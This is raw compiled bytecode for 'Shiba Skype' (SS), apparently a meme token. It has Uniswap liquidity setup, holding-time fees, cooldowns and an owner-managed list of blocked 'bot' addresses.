0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280600d81526020017f20536869626120536b7970652000000000000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600481526020017f2053532000000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b815181101561113057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b9050600061383182613823858761358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d85828601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e1156